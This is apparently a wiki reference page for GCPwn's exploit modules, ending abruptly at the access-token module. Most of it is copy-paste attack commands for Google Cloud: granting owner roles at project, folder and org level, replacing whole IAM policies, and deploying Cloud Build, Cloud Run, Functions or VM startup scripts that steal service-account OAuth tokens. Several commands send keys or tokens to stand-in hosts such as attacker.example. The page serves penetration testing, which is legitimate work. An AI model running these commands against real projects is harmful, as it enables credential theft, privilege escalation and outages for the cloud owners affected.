Skip to content

Exploit Module Reference

WebbinRoot edited this page Jul 15, 2026 · 2 revisions

Exploit Module Reference

This page covers every exploit module in GCPwn: what it does, which permissions it requires, every flag it accepts, and copy/paste-ready example commands. For enumeration modules see CLI-Module-Reference. For the OpenGraph escalation view see OpenGraph-Default-Priv-Escalation-Mode.

Placeholder convention: WORKSPACE_NAME, CRED_NAME, PROJECT_ID, TARGET_SA_EMAIL are used in every example. Replace them with your actual values. Never commit real credentials or project IDs to documentation.


Table of Contents


Quick Reference

Category Module Attack primitive Key permissions needed
IAM & Privilege Escalation exploit_gcp_setiampolicy Grant arbitrary role on any supported resource type <resource>.setIamPolicy on target
IAM & Privilege Escalation exploit_cloudscheduler_job Make googleapis.com REST calls (IAM mutations, function invocations) as target SA cloudscheduler.jobs.create + iam.serviceAccounts.actAs on target SA
Code Execution as Service Account exploit_cloudbuild_as_sa Run Cloud Build as target SA; exfil its OAuth token via logs or external callback URL cloudbuild.builds.create + iam.serviceAccounts.actAs on target SA
Code Execution as Service Account exploit_cloudrun_as_sa Deploy Cloud Run service as target SA; exfil its OAuth token run.services.create + iam.serviceAccounts.actAs on target SA
Code Execution as Service Account exploit_functions_as_sa Create/update/invoke Cloud Function as target SA; exfil its OAuth token cloudfunctions.functions.create or .update + iam.serviceAccounts.actAs
Code Execution as Service Account exploit_instance_startup_script Execute code as instance SA via startup script compute.instances.create or compute.instances.stop/.start/.setMetadata
Credential & Key Access exploit_generate_access_token Mint short-lived OAuth2 token for target SA iam.serviceAccounts.getAccessToken on target SA
Credential & Key Access exploit_service_account_keys Create/enable/disable SA key for durable credential iam.serviceAccountKeys.create (or .enable/.disable)
Credential & Key Access exploit_storage_hmac Create HMAC key for S3-style bucket access; enumerate/download bucket data storage.hmacKeys.create on target SA
Infrastructure Write Access exploit_instance_ssh_keys Add SSH public key to project or instance metadata compute.projects.setCommonInstanceMetadata or compute.instances.setMetadata
Infrastructure Write Access exploit_bucket_upload Write arbitrary object to GCS bucket storage.objects.create on target bucket

IAM & Privilege Escalation

exploit_gcp_setiampolicy

What It Does

Unified setIamPolicy exploit that adds a chosen principal at a chosen role to the IAM policy of any supported resource type. This is the core privilege-escalation primitive for granting yourself or a controlled SA elevated access on a specific resource without going through the Cloud Console. Supports project, folder, and organization nodes as well as per-resource IAM on buckets, functions, instances, secrets, Cloud Run services/jobs, Artifact Registry repositories, KMS keys, Pub/Sub topics/subscriptions/schemas/snapshots, Service Directory namespaces/services, and Cloud Tasks queues.

Required Permissions

  • <service>.setIamPolicy on the target resource (e.g. resourcemanager.projects.setIamPolicy, storage.buckets.setIamPolicy, secretmanager.secrets.setIamPolicy)

Flag Table

Flag Description Details
--service Resource type to target e.g. project, folder, org, bucket, function, instance, secret, cloudrun, kms-key, topic, etc. Prompts if omitted
--resource Full resource name Varies by service. Often replaced by service-specific flags
--member IAM principal to grant the role to Format: user:EMAIL or serviceAccount:EMAIL
--role IAM role to grant Format: roles/ROLE_NAME
--default-role Use the default escalation role for the selected service Skips --role prompt
--overwrite Potentially replace the entire IAM policy Dangerous — use only on controlled resources
--bucket Bucket name (no gs://) For --service bucket
--function-name Full function resource name projects/PID/locations/LOC/functions/NAME
--instance-name Full instance resource name projects/PID/zones/ZONE/instances/NAME
--secret-name Secret resource name projects/PID/secrets/NAME
--cloudrun-service-name Cloud Run service resource name projects/PID/locations/LOC/services/ID
--cloudrun-job-name Cloud Run job resource name projects/PID/locations/LOC/jobs/ID
--kms-keyring-name KMS keyring name projects/PID/locations/LOC/keyRings/ID
--kms-key-name KMS cryptoKey name projects/PID/locations/LOC/keyRings/KR/cryptoKeys/ID
--topic-name Pub/Sub topic name projects/PID/topics/ID
--repository-name Artifact Registry repository name projects/PID/locations/LOC/repositories/ID
--project-id Project ID (used when building resource names from short IDs)
--project-name Project resource name projects/<project_number>
--project-number Project numeric ID
--organization-name Organization resource name organizations/<org_number>
--organization-id Organization numeric ID
--folder-name Folder resource name folders/<folder_number>
--folder-id Folder numeric ID
-v, --debug Verbose output

Examples

Interactive (prompts for service, resource, member, role):

modules run exploit_gcp_setiampolicy

Grant roles/owner on a project:

modules run exploit_gcp_setiampolicy \
  --service project \
  --project-id PROJECT_ID \
  --member user:attacker@example.com \
  --role roles/owner

Grant roles/storage.admin on a bucket:

modules run exploit_gcp_setiampolicy \
  --service bucket \
  --bucket victim-bucket \
  --member serviceAccount:my-sa@PROJECT_ID.iam.gserviceaccount.com \
  --role roles/storage.admin

Grant roles/secretmanager.secretAccessor on a secret:

modules run exploit_gcp_setiampolicy \
  --service secret \
  --secret-name projects/PROJECT_ID/secrets/db-password \
  --member user:attacker@example.com \
  --role roles/secretmanager.secretAccessor

Non-interactive (one-liner):

gcpwn --module exploit_gcp_setiampolicy --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --service bucket \
  --bucket target-bucket \
  --member serviceAccount:sa1@PROJECT_ID.iam.gserviceaccount.com \
  --default-role

exploit_cloudscheduler_job

What It Does

Creates a Cloud Scheduler job that authenticates as a target service account (via OAuthToken) and fires a googleapis.com REST call on its behalf. This uses the fact that cloudscheduler.jobs.create combined with iam.serviceAccounts.actAs on a privileged SA lets you make arbitrary Google API calls as that SA — without needing to mint a token directly.

Cloud Scheduler's OAuthToken mechanism only works with googleapis.com endpoints (the audience must be the target URL). This restriction means all attack vectors are side-effect mutations: write actions where you do not need to read the HTTP response body to confirm success.

Scheduling vs. immediate execution: Every Scheduler job requires a cron schedule at creation time. By default (no timing flag, or --now), the job fires immediately after creation via the Cloud Scheduler API. Pass any scheduling flag (--hourly, --daily, --in-10-min, --at, etc.) to create the job on a schedule instead — it will not fire immediately. Use --schedule for a raw cron expression. The --in-*-min shortcuts compute the cron from the current UTC time at invocation — e.g. --in-10-min at 14:05 UTC produces cron: 15 14 * * * (fires at 14:15 UTC, then at that time daily). All timing shortcuts and --now are mutually exclusive with each other and with --schedule.

Required Permissions

  • cloudscheduler.jobs.create in the project where the Scheduler job is created
  • iam.serviceAccounts.actAs on the target service account
  • The target SA needs whatever permission the action requires (e.g. resourcemanager.projects.setIamPolicy for make-admin)

Critical Limitation: No Response Body

Cloud Scheduler NEVER logs HTTP response bodies. It logs only the HTTP status code (visible via Cloud Logging AttemptFinished.debugInfo or get_job() gRPC status). Actions that depend on reading response content — such as secretmanager.versions.access or iam.serviceAccountKeys.create — are impossible via this vector. Only side-effect mutations work.


Action Reference

make-admin

Calls setIamPolicy on a project/folder/org to grant a role (default: roles/owner) to a member (default: the calling SA). This is a pure side-effect — no response body is needed to confirm success; the IAM change takes effect server-side.

What it needs Value
Target SA permission resourcemanager.projects.setIamPolicy (or folder/org equivalent)
Default role granted roles/owner
Default member The session SA (calling credential)
# Grant yourself roles/owner on the session project (defaults apply):
modules run exploit_cloudscheduler_job \
  --target-sa TARGET_SA_EMAIL \
  --action make-admin \
  --read-response --cleanup

# Grant a specific user on a specific project:
modules run exploit_cloudscheduler_job \
  --target-sa TARGET_SA_EMAIL \
  --action make-admin \
  --member user:attacker@example.com \
  --role roles/owner \
  --target-project-id PROJECT_ID \
  --log --cleanup

set-iam-binding

Like make-admin but requires explicit --member and --role. Use this for any role grant other than roles/owner, or when you want to be explicit about the target member.

modules run exploit_cloudscheduler_job \
  --target-sa TARGET_SA_EMAIL \
  --action set-iam-binding \
  --member user:attacker@example.com \
  --role roles/storage.admin \
  --target-project-id PROJECT_ID \
  --read-response --cleanup

invoke-function

Triggers a Cloud Function URL as the target SA. The function runs its own logic with the SA's identity attached — useful when the function performs a privileged action (e.g. writes to a restricted bucket, calls an internal API) on behalf of the SA.

modules run exploit_cloudscheduler_job \
  --target-sa TARGET_SA_EMAIL \
  --action invoke-function \
  --service-url https://REGION-PROJECT_ID.cloudfunctions.net/my-function \
  --read-response --cleanup

invoke-cloudrun

Same as invoke-function but for a Cloud Run service URL.

modules run exploit_cloudscheduler_job \
  --target-sa TARGET_SA_EMAIL \
  --action invoke-cloudrun \
  --service-url https://my-service-xyz.a.run.app \
  --read-response --cleanup

custom / --url

Arbitrary googleapis.com REST call. Specify the full URL (and optionally --method and --body). Passing --url automatically selects the custom action — you do not need --action custom explicitly.

# Enable a disabled SA key (side-effect; no response body needed):
modules run exploit_cloudscheduler_job \
  --target-sa TARGET_SA_EMAIL \
  --url "https://iam.googleapis.com/v1/projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL/keys/KEY_ID:enable" \
  --method POST \
  --read-response --cleanup

Full Flag Table

Flag Description Details
--target-sa SA email Cloud Scheduler authenticates as Required (prompts if omitted)
--action Pre-packaged attack action make-admin, set-iam-binding, invoke-function, invoke-cloudrun, custom. Prompts if omitted and --url is not set
--url googleapis.com REST endpoint Implicitly sets --action custom; can use instead of --action custom
--method HTTP method for --url GET, POST, PUT, PATCH, DELETE. Default: POST
--body JSON body for --url Optional for custom calls
--member IAM member to grant the role to e.g. user:you@example.com, serviceAccount:sa@PROJECT.iam.gserviceaccount.com. make-admin defaults to calling SA
--role IAM role to grant Default: roles/owner. Common: roles/editor, roles/iam.securityAdmin, roles/storage.admin
--target-project-id Project ID whose IAM policy to mutate Default: session project. Used by make-admin / set-iam-binding
--target-folder-number Folder number whose IAM policy to mutate e.g. 1234567890. Alternative to --target-project-id
--target-org-number Organization number whose IAM policy to mutate e.g. 9876543210. Alternative to --target-project-id
--etag Current policy etag (optional override) If omitted, module auto-fetches via getIamPolicy. Get manually: gcloud projects get-iam-policy PROJECT_ID --format=json | jq .etag
--dangerous-overwrite Skip fetching current policy; replace entire policy with only the desired binding See Dangerous Overwrite Mode below
--service-url Cloud Function or Cloud Run URL for invoke-function / invoke-cloudrun
--region Cloud Scheduler region Default: us-central1
--project Project to create the Scheduler job in Default: session project
--schedule Raw cron expression Default: * * * * *. Mutually exclusive with timing shortcuts below
--timezone Timezone for the cron schedule Default: UTC. E.g. America/New_York
--every-minute Fire every minute cron: * * * * *
--every-5-min Fire every 5 minutes cron: */5 * * * *
--every-10-min Fire every 10 minutes cron: */10 * * * *
--every-15-min Fire every 15 minutes cron: */15 * * * *
--every-30-min Fire every 30 minutes cron: */30 * * * *
--hourly Fire every hour on the hour cron: 0 * * * *
--daily Fire once per day at midnight UTC cron: 0 0 * * *
--in-5-min Fire ~5 min from now (UTC), then daily at that clock time Computes cron at invocation time
--in-10-min Fire ~10 min from now (UTC), then daily at that clock time Computes cron at invocation time
--in-30-min Fire ~30 min from now (UTC), then daily at that clock time Computes cron at invocation time
--at YYYY-MM-DD HH:MM Fire at a specific UTC date/time, e.g. --at "2026-07-20 15:30" cron: MM HH DD MON *; repeats annually unless deleted
--now Immediately trigger the job after creation Default when no scheduling flag is given; mutually exclusive with scheduling flags
--log Poll Cloud Logging for AttemptFinished HTTP status after triggering Requires logging.read permission
--read-response Call get_job() for gRPC status after triggering No Cloud Logging access needed; faster than --log
--cleanup Delete the job after triggering Only applies when --now is set
--job-name Custom job name Auto-generated (pe-<action>-<ts>) if omitted
--custom-url Alias for --url (custom action)
--custom-method Alias for --method (custom action)
--custom-body Alias for --body (custom action)

Etag Behavior

In normal mode, the module auto-fetches the target resource's current IAM policy before building the setIamPolicy request. This requires resourcemanager.projects.getIamPolicy (or the folder/org equivalent) on the target resource.

If getIamPolicy fails (permission denied, API disabled), you have two options:

Option A — provide the etag manually:

# Get the etag using gcloud:
gcloud projects get-iam-policy PROJECT_ID --format=json | jq .etag

# Then pass it:
modules run exploit_cloudscheduler_job \
  --target-sa TARGET_SA_EMAIL \
  --action make-admin \
  --etag "BwXXXXXXXX="
  --cleanup

Option B — use --dangerous-overwrite (see below).


Dangerous Overwrite Mode

DANGER: This flag replaces the ENTIRE IAM policy of the target resource.

Normally, setIamPolicy requires an etag to implement optimistic concurrency — if someone else changed the policy between your get and your set, GCP rejects the stale-etag request. The etag is not required by the API, however: omitting it means last-write-wins.

--dangerous-overwrite exploits this by sending a minimal policy body with only the desired binding and no etag:

{"policy": {"bindings": [{"role": "roles/owner", "members": ["user:attacker@example.com"]}]}}

GCP accepts this and replaces the project's entire IAM policy with that single binding. Every other binding — including the original admins — is wiped.

When to use it:

  • You have setIamPolicy but not getIamPolicy (so auto-fetch fails).
  • You control the target and can restore access afterward.

When NOT to use it:

  • Production resources where wiping other admins would cause an outage or alert.
  • When you need to preserve existing access patterns during stealthy operations.
# Fast escalation without needing getIamPolicy:
modules run exploit_cloudscheduler_job \
  --target-sa TARGET_SA_EMAIL \
  --action make-admin \
  --member user:attacker@example.com \
  --role roles/owner \
  --target-project-id PROJECT_ID \
  --dangerous-overwrite \
  --read-response --cleanup

Example Scenarios

Scenario 1: Grant yourself roles/owner via a privileged SA

You have cloudscheduler.jobs.create and iam.serviceAccounts.actAs on a SA that holds resourcemanager.projects.setIamPolicy on the target project. Your session credential is the calling SA — make-admin will default the member to it.

modules run exploit_cloudscheduler_job \
  --target-sa privileged-sa@PROJECT_ID.iam.gserviceaccount.com \
  --action make-admin \
  --role roles/owner \
  --target-project-id PROJECT_ID \
  \
  --read-response \
  --cleanup

After the job completes with gRPC status 0, verify:

gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members" \
  --format="table(bindings.role,bindings.members)" \
  --filter="bindings.members:attacker"

Scenario 2: No getIamPolicy — replace the policy entirely

You have setIamPolicy on a folder but not getIamPolicy. Use --dangerous-overwrite to avoid the auto-fetch step:

modules run exploit_cloudscheduler_job \
  --target-sa TARGET_SA_EMAIL \
  --action make-admin \
  --member user:attacker@example.com \
  --role roles/owner \
  --target-folder-number 1234567890 \
  --dangerous-overwrite \
  \
  --read-response \
  --cleanup

Restore the original policy after you have confirmed access, or other principals will lose access.

Scenario 3: Trigger a Cloud Function that performs a privileged action

The target SA lacks setIamPolicy but does have iam.serviceAccounts.actAs on a different SA that runs a Cloud Function performing privileged writes. Invoke the function as the target SA — the function executes with the function's SA identity, but the HTTP request is authenticated as the target SA (which is what the function checks).

modules run exploit_cloudscheduler_job \
  --target-sa function-invoker@PROJECT_ID.iam.gserviceaccount.com \
  --action invoke-function \
  --service-url https://us-central1-PROJECT_ID.cloudfunctions.net/admin-action \
  \
  --read-response \
  --cleanup

Scenario 4: Escalate through a folder or org node

# Escalate at org level:
modules run exploit_cloudscheduler_job \
  --target-sa TARGET_SA_EMAIL \
  --action make-admin \
  --member user:attacker@example.com \
  --role roles/resourcemanager.organizationAdmin \
  --target-org-number 9876543210 \
  \
  --log \
  --cleanup

# Escalate at folder level:
modules run exploit_cloudscheduler_job \
  --target-sa TARGET_SA_EMAIL \
  --action make-admin \
  --member serviceAccount:my-sa@PROJECT_ID.iam.gserviceaccount.com \
  --role roles/owner \
  --target-folder-number 1234567890 \
  \
  --read-response \
  --cleanup

Checking Job Status

After triggering (default behaviour), you have two options to confirm whether the API call succeeded:

--read-response (faster, no Cloud Logging needed):

Calls get_job() on the Scheduler API. Returns the gRPC status of the last attempt (0 = success, non-zero = failure). Does not return the HTTP response body — Cloud Scheduler never logs it.

--log (requires logging.read):

Polls Cloud Logging for the AttemptFinished log entry, which contains the HTTP status code in debugInfo. Waits up to 90 seconds.

Manual log query if both fail:

gcloud logging read \
  'resource.type="cloud_scheduler_job" resource.labels.job_id="YOUR_JOB_NAME"' \
  --project PROJECT_ID \
  --freshness=5m

Manual Trigger and Cleanup

The module prints the manual trigger and cleanup commands regardless of whether --now or --cleanup were passed:

# Trigger manually:
gcloud scheduler jobs run JOB_NAME --location us-central1 --project PROJECT_ID

# Delete job:
gcloud scheduler jobs delete JOB_NAME --location us-central1 --project PROJECT_ID

Non-Interactive One-Liner Examples

# make-admin (grant roles/owner to yourself):
gcpwn --module exploit_cloudscheduler_job --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --target-sa TARGET_SA_EMAIL \
  --action make-admin \
  --read-response --cleanup

# make-admin with --dangerous-overwrite (no getIamPolicy needed):
gcpwn --module exploit_cloudscheduler_job --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --target-sa TARGET_SA_EMAIL \
  --action make-admin \
  --member user:attacker@example.com \
  --dangerous-overwrite \
  --read-response --cleanup

# set-iam-binding to grant storage.admin:
gcpwn --module exploit_cloudscheduler_job --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --target-sa TARGET_SA_EMAIL \
  --action set-iam-binding \
  --member serviceAccount:my-sa@PROJECT_ID.iam.gserviceaccount.com \
  --role roles/storage.admin \
  --read-response --cleanup

# invoke-function:
gcpwn --module exploit_cloudscheduler_job --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --target-sa TARGET_SA_EMAIL \
  --action invoke-function \
  --service-url https://us-central1-PROJECT_ID.cloudfunctions.net/my-function \
  --read-response --cleanup

# custom call (arbitrary googleapis.com endpoint):
gcpwn --module exploit_cloudscheduler_job --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --target-sa TARGET_SA_EMAIL \
  --url "https://cloudresourcemanager.googleapis.com/v1/projects/PROJECT_ID:setIamPolicy" \
  --method POST \
  --body '{"policy":{"bindings":[{"role":"roles/owner","members":["user:attacker@example.com"]}]}}' \
  --read-response --cleanup

Code Execution as Service Account

All modules in this category share the same attack primitive: the pentester has iam.serviceAccounts.actAs on a privileged SA and triggers code execution in a GCP-managed runtime pinned to that SA. The running code queries the GCE metadata server for the SA's OAuth2 token and exfils it.

exploit_cloudbuild_as_sa

What It Does

Submits a Cloud Build job pinned to a target service account. The build step uses the ubuntu image and runs bash -c to curl the GCE metadata server for the SA's email and OAuth2 token. Two exfiltration modes are supported:

  • logs — the build step echoes the token to stdout; Cloud Build captures stdout into Cloud Logging. The module polls Cloud Logging for the marked output and recovers the token without any external server.
  • url — the build step POSTs the token directly to an external callback URL.

A custom --command can replace the default token-capture step entirely for arbitrary code execution.

Note on cleanup: Cloud Build builds cannot be deleted via API. They remain in build history until they expire. The --cleanup flag cancels a still-running build, but a completed build will still appear in history.

Build step image: The BuildStep.name field accepts any Docker image reference. GCPwn uses the bare ubuntu name (the official Canonical image on Docker Hub), which is the same shorthand used in Google's own Cloud Build documentation and quickstarts. To pin a specific release, pass --command with your custom script and change the image to ubuntu:22.04 (or any compatible image). Alternatively, the Google-maintained builders at gcr.io/cloud-builders/ (e.g. gcr.io/cloud-builders/docker) can be substituted if Docker Hub access is restricted in your environment.

Required Permissions

  • cloudbuild.builds.create in the target project
  • iam.serviceAccounts.actAs on the target SA (if --service-account is supplied)

Flag Table

Flag Description Details
--service-account SA email to pin the build to Optional; uses the project's default Cloud Build SA if omitted
--exfil-mode logs or url Prompts if omitted
--external-url external callback URL for url mode Required when --exfil-mode url
--command Custom bash command for the build step Overrides the default email+token capture
--region Build region Default: us-central1
--timeout Build timeout Default: 300s
--cleanup Attempt to cancel the build after it runs Completed builds cannot be deleted via API
--debug Verbose output

Examples

Interactive:

modules run exploit_cloudbuild_as_sa

Logs mode — recover token from Cloud Logging:

modules run exploit_cloudbuild_as_sa \
  --service-account TARGET_SA_EMAIL \
  --exfil-mode logs

URL mode (external callback):

modules run exploit_cloudbuild_as_sa \
  --service-account TARGET_SA_EMAIL \
  --exfil-mode url \
  --external-url https://attacker.example/collect

Custom command (arbitrary code execution as the SA):

modules run exploit_cloudbuild_as_sa \
  --service-account TARGET_SA_EMAIL \
  --exfil-mode url \
  --command 'gsutil cp gs://secret-bucket/key.json - | curl -s -X POST https://attacker.example/key --data-binary @-'

Non-interactive (one-liner):

gcpwn --module exploit_cloudbuild_as_sa --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --service-account TARGET_SA_EMAIL \
  --exfil-mode logs

Example Scenario

You have cloudbuild.builds.create and iam.serviceAccounts.actAs on ci-builder@PROJECT_ID.iam.gserviceaccount.com, which has secretmanager.secretAccessor. Submit a build in logs mode; the module polls Cloud Logging and returns the SA's OAuth2 token. Use the token to read secrets directly.


exploit_cloudrun_as_sa

What It Does

Deploys a minimal Cloud Run service (using the python:3.11-slim public image with an inline Python handler — no Dockerfile or Artifact Registry needed) pinned to an attacker-chosen service account. The deployed container queries the GCE metadata server for the SA's OAuth2 access token and email, then exfiltrates them via one of two modes:

  • logs — prints the token to stdout; Cloud Run captures stdout into Cloud Logging, and the module polls the logs to retrieve it (no external server needed; stays inside the project).
  • url — POSTs the token to an attacker-controlled external callback URL.

After the token is recovered it can be immediately added as a new credential in the workspace.

Required Permissions

  • run.services.create in the target project
  • iam.serviceAccounts.actAs on the target service account

Flag Table

Flag Description Details
--target-sa Target service account email the Cloud Run service runs as Prompts if omitted
--region Cloud Run region Default: us-central1
--exfil-mode Token recovery mode: logs or url Prompts if omitted
--external-url external callback URL for url mode Required when --exfil-mode url
--service-name Service name to create Auto-generated (pe-cloudrun-<ts>) if omitted
--invoke Invoke the service immediately after deployment Triggers token recovery
--public Make the service publicly invokable (allUsers run.invoker) Default: private (requires caller's session credential to invoke)
--path Restrict token trigger to this URL path Requests to any other path return 404; see below
--cleanup Delete the service after invocation

Secret Path (--path)

By default the service responds to all URL paths. The --path flag injects a SECRET_PATH environment variable into the container so the inline handler returns 404 for every request that does not exactly match the configured path.

This is useful when combined with --public: the service is unauthenticated but functionally private — only someone who knows the path can trigger it.

modules run exploit_cloudrun_as_sa \
  --target-sa TARGET_SA_EMAIL \
  --exfil-mode logs \
  --public \
  --path /gcpwn-xk9z3mq7abc \
  --invoke \
  --cleanup

With the above, GET / and GET /any-other-path return 404; only GET /gcpwn-xk9z3mq7abc triggers the metadata fetch and token emission. The module automatically appends the path when --invoke is used.

Examples

Interactive:

modules run exploit_cloudrun_as_sa

Logs mode (no external server needed):

modules run exploit_cloudrun_as_sa \
  --target-sa TARGET_SA_EMAIL \
  --exfil-mode logs \
  --invoke \
  --cleanup

URL mode (external callback):

modules run exploit_cloudrun_as_sa \
  --target-sa TARGET_SA_EMAIL \
  --exfil-mode url \
  --external-url https://callback.example.com/token \
  --invoke \
  --cleanup

Public service with secret path (no auth header required to invoke):

modules run exploit_cloudrun_as_sa \
  --target-sa TARGET_SA_EMAIL \
  --exfil-mode logs \
  --public \
  --path /secret-a9f3kx2 \
  --invoke \
  --cleanup

Non-interactive (one-liner):

gcpwn --module exploit_cloudrun_as_sa --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --target-sa TARGET_SA_EMAIL \
  --exfil-mode logs \
  --invoke \
  --cleanup

Example Scenario

You enumerated an SA called data-processor@PROJECT_ID.iam.gserviceaccount.com that has bigquery.admin. Your session credential has run.services.create and iam.serviceAccounts.actAs on it. Run:

modules run exploit_cloudrun_as_sa \
  --target-sa data-processor@PROJECT_ID.iam.gserviceaccount.com \
  --exfil-mode logs \
  --invoke

The module deploys a Cloud Run service as that SA, invokes it, polls Cloud Logging, and prints the OAuth2 token. Add it to the workspace:

creds add bq-admin-token --type OAuth2 --token ya29.c.XXX...

Cleanup

If --cleanup was not passed, delete the service manually:

gcloud run services delete <service-name> --region us-central1 --project PROJECT_ID

exploit_functions_as_sa

What It Does

Creates, updates, and/or invokes a Cloud Function running as an attacker-chosen service account in order to exfiltrate that SA's GCE metadata token. The bundled payload (codev1v2.zip, entry point data_exfil) queries the metadata server for the attached SA's email and OAuth2 token and returns them in the function response. Supports both V1 and V2 functions. With --assume-creds, the returned token is automatically parsed and registered as a new credential in the workspace.

If no --bucket-src is provided, the module interactively offers to upload the default codev1v2.zip payload to an enumerated bucket first (calling exploit_bucket_upload internally).

Required Permissions

  • cloudfunctions.functions.create (for --create) or cloudfunctions.functions.update (for --update)
  • iam.serviceAccounts.actAs on the target SA (if --service-account is specified)
  • cloudfunctions.functions.call (for --invoke)

Flag Table

Flag Description Details
--function-name Full function resource name Format: projects/PROJECT_ID/locations/REGION/functions/FUNCTION_NAME
--bucket-src GCS source for function code Format: gs://BUCKET_NAME/file.zip. Prompts for upload if omitted
--entry-point Entry point in the ZIP Default: data_exfil (matches bundled codev1v2.zip)
--service-account SA email to attach to the function Prompts if omitted; can use the default compute/editor SA
--v1 Target is a V1 function Mutually exclusive with --v2
--v2 Target is a V2 function Mutually exclusive with --v1. Default when unspecified
--create Create a new function Mutually exclusive with --update
--update Update an existing function Mutually exclusive with --create
--invoke Invoke the function after create/update Can also be used standalone (without --create/--update)
--assume-creds Parse the returned token and add it as a workspace credential Requires --invoke
-v, --debug Verbose output

Examples

Interactive (prompts for everything):

modules run exploit_functions_as_sa

Create V2 function as target SA, invoke it, and assume the returned credential:

modules run exploit_functions_as_sa \
  --create --v2 \
  --function-name projects/PROJECT_ID/locations/us-central1/functions/pwn-fn \
  --bucket-src gs://staging-bucket/codev1v2.zip \
  --service-account TARGET_SA_EMAIL \
  --invoke \
  --assume-creds

Update an existing function to swap its SA, then invoke:

modules run exploit_functions_as_sa \
  --update --v2 \
  --function-name projects/PROJECT_ID/locations/us-central1/functions/existing-fn \
  --bucket-src gs://staging-bucket/codev1v2.zip \
  --service-account TARGET_SA_EMAIL \
  --invoke \
  --assume-creds

Invoke only (function already deployed with malicious code):

modules run exploit_functions_as_sa \
  --invoke \
  --function-name projects/PROJECT_ID/locations/us-central1/functions/pwn-fn \
  --v2 \
  --assume-creds

Non-interactive (one-liner):

gcpwn --module exploit_functions_as_sa --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --create --v2 \
  --function-name projects/PROJECT_ID/locations/us-central1/functions/pwn-fn \
  --service-account TARGET_SA_EMAIL \
  --bucket-src gs://staging-bucket/codev1v2.zip \
  --invoke \
  --assume-creds

Example Scenario

You hold cloudfunctions.functions.create and iam.serviceAccounts.actAs on payments-sa@PROJECT_ID.iam.gserviceaccount.com (which has cloudkms.cryptoKeyDecrypter). Upload the payload zip to a writable bucket and create the function:

# 1. Upload payload to a writable bucket first:
modules run exploit_bucket_upload \
  --bucket staging-bucket \
  --remote-blob-path codev1v2.zip \
  --local-blob-path /path/to/gcpwn/data/codev1v2.zip

# 2. Create function as target SA and exfil the token:
modules run exploit_functions_as_sa \
  --create --v2 \
  --function-name projects/PROJECT_ID/locations/us-central1/functions/gcpwn-exfil \
  --bucket-src gs://staging-bucket/codev1v2.zip \
  --service-account payments-sa@PROJECT_ID.iam.gserviceaccount.com \
  --invoke \
  --assume-creds

exploit_instance_startup_script

What It Does

Achieves code execution as a Compute Engine instance's attached service account by setting a startup script that exfiltrates the VM's metadata (email, OAuth2 token) to a caller-controlled external URL. Two execution paths:

  • --create-new-instance — creates a brand-new instance with the startup script and an attacker-chosen SA attached.
  • --update-via-shutdown — stops an existing instance, updates its metadata with the startup script (and optionally a new SA), then starts it again. This effectively wipes the VM's current metadata.

Required Permissions

  • Create path: compute.instances.create, plus iam.serviceAccounts.actAs on the SA to attach
  • Update path: compute.instances.stop, compute.instances.start, compute.instances.setMetadata

Flag Table

Flag Description Details
--create-new-instance Create a new VM with the startup script Mutually exclusive with --update-via-shutdown
--update-via-shutdown Update an existing VM via stop/start Wipes existing metadata. Mutually exclusive with --create-new-instance
--instance-name Instance name or full resource name projects/PID/zones/ZONE/instances/NAME for update; short name for create
--startup-script-path Local path of the startup script Script runs as root on first boot
--external-url Attacker-controlled URL for token exfiltration e.g. https://attacker.example/collect
--service-account SA email to attach to the instance Mutually exclusive with --no-service-account
--no-service-account Explicitly attach no service account Mutually exclusive with --service-account
-v, --debug Verbose output

Examples

Interactive:

modules run exploit_instance_startup_script

Update an existing instance via shutdown (exfil to attacker server):

modules run exploit_instance_startup_script \
  --update-via-shutdown \
  --instance-name projects/PROJECT_ID/zones/us-central1-a/instances/batch-runner \
  --external-url https://attacker.example/collect

Create a new instance with the script attached to a target SA:

modules run exploit_instance_startup_script \
  --create-new-instance \
  --instance-name gcpwn-pwn-vm \
  --startup-script-path ./exfil.sh \
  --service-account TARGET_SA_EMAIL \
  --external-url https://attacker.example/collect

Non-interactive (one-liner):

gcpwn --module exploit_instance_startup_script --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --update-via-shutdown \
  --instance-name projects/PROJECT_ID/zones/us-central1-a/instances/batch-runner \
  --external-url https://attacker.example/collect

Example Scenario

You have compute.instances.stop/start/setMetadata on batch-runner. The instance runs as pipeline-sa@PROJECT_ID.iam.gserviceaccount.com which has bigquery.admin. Update the instance to exfil the SA token on next boot:

modules run exploit_instance_startup_script \
  --update-via-shutdown \
  --instance-name projects/PROJECT_ID/zones/us-central1-a/instances/batch-runner \
  --external-url https://attacker.example/collect

Monitor your callback server for the POST containing the OAuth2 token.


Credential & Key Access

These modules create or retrieve long-lived credentials — SA keys, HMAC keys, or short-lived OAuth2 tokens — that persist beyond the current session.

exploit_generate_access_token

What It Does

Mints a short-lived OAuth2 access token (via iamcredentials.generateAccessToken) for a target service account, using one of four modes:

  • Direct token (--target-sa) — calls generateAccessToken directly against the target SA. Requires iam.serviceAccounts.getAccessToken on the target.
  • Delegation chain (--delegation) — walks an impersonation/delegation chain starting at a given SA, letting you enumerate multi-hop paths to a final target.
  • Delegation to target (--delegation-target) — finds all delegation routes in cached IAM bindings that end at a specified final SA.
  • All delegation (--all-delegation) — discovers and prints every available delegation route across the cached IAM graph.

When called interactively (no flags), a menu is presented for mode selection. The resulting token can be registered as a new workspace credential.

Required Permissions

  • iam.serviceAccounts.getAccessToken on the target SA (direct mode), OR
  • iam.serviceAccounts.implicitDelegation along the delegation chain (delegation modes)

Flag Table

Flag Description Details
--target-sa Direct token: target SA resource name Format: projects/PROJECT_ID/serviceAccounts/EMAIL. Mutually exclusive with delegation flags
--delegation Delegation mode: start SA for chain walk Walks the delegation graph from this SA. Mutually exclusive with other modes
--delegation-target Delegation-to-target mode: find routes ending at this SA Searches cached IAM bindings. Mutually exclusive with other modes
--all-delegation Show all delegation routes across the full IAM graph Mutually exclusive with other modes
-v, --debug Verbose output

Examples

Interactive (prompts for mode):

